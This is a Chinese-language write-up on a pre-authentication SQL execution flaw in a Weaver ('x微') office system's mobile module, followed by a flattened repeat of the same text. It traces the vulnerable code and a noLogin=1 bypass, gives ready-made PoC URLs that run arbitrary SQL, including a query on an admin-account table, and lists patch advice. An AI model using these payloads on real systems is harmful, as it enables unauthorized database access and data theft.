x微前台绕过鉴权执行sql
字数 1238 2025-08-06 18:07:40

x微前台绕过鉴权执行SQL漏洞分析与利用

漏洞概述

该漏洞存在于x微系统的前台移动端模块,允许攻击者绕过鉴权机制直接执行任意SQL语句,可能导致敏感数据泄露、系统破坏等严重后果。

漏洞分析

关键代码文件

  • /formmodel/mobile/mec/servlet/MECAdminAction.java
  • /formmodel/mobile/manager/MobileUserInit.java
  • /mobile/plugin/ecology/service/AuthService.java

漏洞触发流程

  1. 权限验证缺陷

    • 系统在MECAdminAction.java中对登录用户进行判断,检查是否为admin/sysadmin权限
    • 但存在绕过机制,可通过noLogin=1参数跳过登录验证
  2. SQL执行入口

    • 系统获取Action参数并判断是否为getDatasBySql
    • 直接调用getDatasBySql方法执行SQL语句
  3. SQL执行过程

    • 获取HTTP请求中的sqldatasource参数
    • datasource参数进行判断
    • 执行成功后返回JSON格式的查询结果

鉴权绕过机制

  1. 用户身份伪造

    • 通过MobileUserInit.java中的userkey参数(用户可控)可伪造用户身份
    • 系统使用硬编码密钥进行解密验证(EDUtil.java中的decrypt方法)
  2. 硬编码密钥

    • 密钥存储在/formmodel/mobile/MobileModeConfig.java配置文件中
    • 使用EDFactory.java进行加密解密操作

漏洞利用

利用链构造

  1. 直接访问方式

    http://[target]/mobilemode/Action.jsp?invoker=com.weaver.formmodel.mobile.mec.servlet.MECAdminAction&action=getDatasBySQL&datasource=&sql=select%20*%20from%20SystemSet
    
  2. 完整利用POC

    http://127.0.0.1/mobilemode/Action.jsp?invoker=com.weaver.formmodel.mobile.mec.servlet.MECAdminAction&action=getDatasBySQL&datasource=&sql=select%20*%20from%20HrmResourceManager&noLogin=1
    

利用技巧

  1. 搜索漏洞类

    • 可使用正则搜索:public\Wclass\W\w{0,}Action
    • 查找类似getAction的方法调用
  2. 参数说明

    • invoker: 指定要调用的Java类
    • action: 指定要执行的方法
    • datasource: 数据源(可为空)
    • sql: 要执行的SQL语句
    • noLogin: 绕过登录验证的关键参数

修复建议

  1. 官方补丁

    • 参考官方安全公告:https://www.weaver.com.cn/cs/securityDownload.html?src=cn
  2. 临时修复措施

    • 禁用mobilemode/Action.jsp的匿名访问
    • 加强getDatasBySQL方法的权限验证
    • 对SQL语句参数进行严格过滤
  3. 代码层面修复

    • 移除硬编码加密密钥
    • 实现真正的权限验证机制
    • 对SQL执行进行参数化处理

总结

该漏洞展示了系统在移动端接口设计中的严重安全问题,包括:

  1. 鉴权机制可被绕过
  2. 存在直接执行SQL的接口
  3. 使用硬编码密钥等不安全实践

攻击者可利用此漏洞直接操作数据库,获取敏感信息或破坏系统完整性。建议用户及时更新补丁,并对系统进行全面安全检查。

x微前台绕过鉴权执行SQL漏洞分析与利用 漏洞概述 该漏洞存在于x微系统的前台移动端模块,允许攻击者绕过鉴权机制直接执行任意SQL语句,可能导致敏感数据泄露、系统破坏等严重后果。 漏洞分析 关键代码文件 /formmodel/mobile/mec/servlet/MECAdminAction.java /formmodel/mobile/manager/MobileUserInit.java /mobile/plugin/ecology/service/AuthService.java 漏洞触发流程 权限验证缺陷 : 系统在 MECAdminAction.java 中对登录用户进行判断,检查是否为admin/sysadmin权限 但存在绕过机制,可通过 noLogin=1 参数跳过登录验证 SQL执行入口 : 系统获取 Action 参数并判断是否为 getDatasBySql 直接调用 getDatasBySql 方法执行SQL语句 SQL执行过程 : 获取HTTP请求中的 sql 和 datasource 参数 对 datasource 参数进行判断 执行成功后返回JSON格式的查询结果 鉴权绕过机制 用户身份伪造 : 通过 MobileUserInit.java 中的 userkey 参数(用户可控)可伪造用户身份 系统使用硬编码密钥进行解密验证( EDUtil.java 中的 decrypt 方法) 硬编码密钥 : 密钥存储在 /formmodel/mobile/MobileModeConfig.java 配置文件中 使用 EDFactory.java 进行加密解密操作 漏洞利用 利用链构造 直接访问方式 : 完整利用POC : 利用技巧 搜索漏洞类 : 可使用正则搜索: public\Wclass\W\w{0,}Action 查找类似 getAction 的方法调用 参数说明 : invoker : 指定要调用的Java类 action : 指定要执行的方法 datasource : 数据源(可为空) sql : 要执行的SQL语句 noLogin : 绕过登录验证的关键参数 修复建议 官方补丁 : 参考官方安全公告:https://www.weaver.com.cn/cs/securityDownload.html?src=cn 临时修复措施 : 禁用 mobilemode/Action.jsp 的匿名访问 加强 getDatasBySQL 方法的权限验证 对SQL语句参数进行严格过滤 代码层面修复 : 移除硬编码加密密钥 实现真正的权限验证机制 对SQL执行进行参数化处理 总结 该漏洞展示了系统在移动端接口设计中的严重安全问题,包括: 鉴权机制可被绕过 存在直接执行SQL的接口 使用硬编码密钥等不安全实践 攻击者可利用此漏洞直接操作数据库,获取敏感信息或破坏系统完整性。建议用户及时更新补丁,并对系统进行全面安全检查。